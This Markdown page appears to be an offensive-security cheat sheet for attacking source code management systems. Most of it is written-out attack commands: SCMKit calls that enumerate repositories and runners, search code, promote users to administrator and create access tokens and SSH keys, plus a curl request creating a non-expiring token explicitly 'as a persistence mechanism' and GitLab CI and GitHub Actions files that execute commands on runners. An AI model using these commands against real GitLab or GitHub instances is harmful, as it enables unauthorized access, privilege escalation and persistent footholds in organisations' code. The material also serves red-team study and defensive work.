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125 lines
5.2 KiB
Markdown
125 lines
5.2 KiB
Markdown
# Source Code Management
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## Summary
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* [Enumeration](#enumeration)
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* [Exploit Gitlab CI/Github Actions](#exploit-gitlab-cigithub-actions)
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* [References](#references)
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## Enumeration
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Using [SCMKit - Source Code Management Attack Toolkit](https://github.com/xforcered/SCMKit)
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* Discover repositories being used in a particular SCM system
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```ps1
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SCMKit.exe -s gitlab -m listrepo -c userName:password -u https://gitlab.something.local
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SCMKit.exe -s gitlab -m listrepo -c apiKey -u https://gitlab.something.local
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```
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* Search for repositories by repository name in a particular SCM system
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```ps1
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SCMKit.exe -s github -m searchrepo -c userName:password -u https://github.something.local -o "some search term"
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SCMKit.exe -s gitlab -m searchrepo -c apikey -u https://gitlab.something.local -o "some search term"
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```
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* Search for code containing a given keyword in a particular SCM system
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```ps1
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SCMKit.exe -s github -m searchcode -c userName:password -u https://github.something.local -o "some search term"
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SCMKit.exe -s github -m searchcode -c apikey -u https://github.something.local -o "some search term"
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```
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* Search for files in repositories containing a given keyword in the file name in a particular SCM system
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```ps1
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SCMKit.exe -s gitlab -m searchfile -c userName:password -u https://gitlab.something.local -o "some search term"
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SCMKit.exe -s gitlab -m searchfile -c apikey -u https://gitlab.something.local -o "some search term"
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```
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* List snippets owned by the current user in GitLab
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```ps1
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SCMKit.exe -s gitlab -m listsnippet -c userName:password -u https://gitlab.something.local
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SCMKit.exe -s gitlab -m listsnippet -c apikey -u https://gitlab.something.local
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```
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* List all GitLab runners available to the current user in GitLab
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```ps1
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SCMKit.exe -s gitlab -m listrunner -c userName:password -u https://gitlab.something.local
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SCMKit.exe -s gitlab -m listrunner -c apikey -u https://gitlab.something.local
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```
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* Get the assigned privileges to an access token being used in a particular SCM system
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```ps1
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SCMKit.exe -s gitlab -m privs -c apiKey -u https://gitlab.something.local
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```
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* Promote a normal user to an administrative role in a particular SCM system
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```ps1
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SCMKit.exe -s gitlab -m addadmin -c userName:password -u https://gitlab.something.local -o targetUserName
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SCMKit.exe -s gitlab -m addadmin -c apikey -u https://gitlab.something.local -o targetUserName
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SCMKit.exe -s gitlab -m removeadmin -c userName:password -u https://gitlab.something.local -o targetUserName
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```
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* Create/List/Delete an access token to be used in a particular SCM system
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```ps1
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SCMKit.exe -s gitlab -m createpat -c userName:password -u https://gitlab.something.local -o targetUserName
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SCMKit.exe -s gitlab -m createpat -c apikey -u https://gitlab.something.local -o targetUserName
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SCMKit.exe -s gitlab -m removepat -c userName:password -u https://gitlab.something.local -o patID
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SCMKit.exe -s gitlab -m listpat -c userName:password -u https://gitlab.something.local -o targetUser
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SCMKit.exe -s gitlab -m listpat -c apikey -u https://gitlab.something.local -o targetUser
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```
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* Create/List an SSH key to be used in a particular SCM system
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```ps1
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SCMKit.exe -s gitlab -m createsshkey -c userName:password -u https://gitlab.something.local -o "ssh public key"
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SCMKit.exe -s gitlab -m createsshkey -c apiToken -u https://gitlab.something.local -o "ssh public key"
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SCMKit.exe -s gitlab -m listsshkey -c userName:password -u https://github.something.local
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SCMKit.exe -s gitlab -m listsshkey -c apiToken -u https://github.something.local
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SCMKit.exe -s gitlab -m removesshkey -c userName:password -u https://gitlab.something.local -o sshKeyID
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SCMKit.exe -s gitlab -m removesshkey -c apiToken -u https://gitlab.something.local -o sshKeyID
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```
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## Personal Access Token
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Create a PAT (Personal Access Token) as a persistence mechanism for the Gitlab instance.
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```ps1
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curl -k --request POST --header "PRIVATE-TOKEN: apiToken" --data "name=user-persistence-token" --data "expires_at=" --data "scopes[]=api" --data "scopes[]=read_repository" --data "scopes[]=write_repository" "https://gitlabHost/api/v4/users/UserIDNumber/personal_access_tokens"
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```
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## Exploit Gitlab CI/Github Actions
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* Gitlab-CI "Command Execution" example: `.gitlab-ci.yml`
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```yaml
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stages:
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- test
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test:
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stage: test
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script:
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- |
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whoami
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parallel:
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matrix:
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- RUNNER: VM1
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- RUNNER: VM2
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- RUNNER: VM3
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tags:
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- ${RUNNER}
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```
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* Github Action "Command Execution" example: `.github/workflows/example.yml`
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```yml
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name: example
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on:
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workflow_dispatch:
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push:
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branches: [ main ]
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pull_request:
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branches: [ main ]
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jobs:
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build:
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runs-on: windows-2019
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steps:
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- name: Execute
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run: |
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whoami
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```
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## References
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* [Controlling the Source: Abusing Source Code Management Systems - Brett Hawkins - August 9, 2022](https://securityintelligence.com/posts/abusing-source-code-management-systems/) |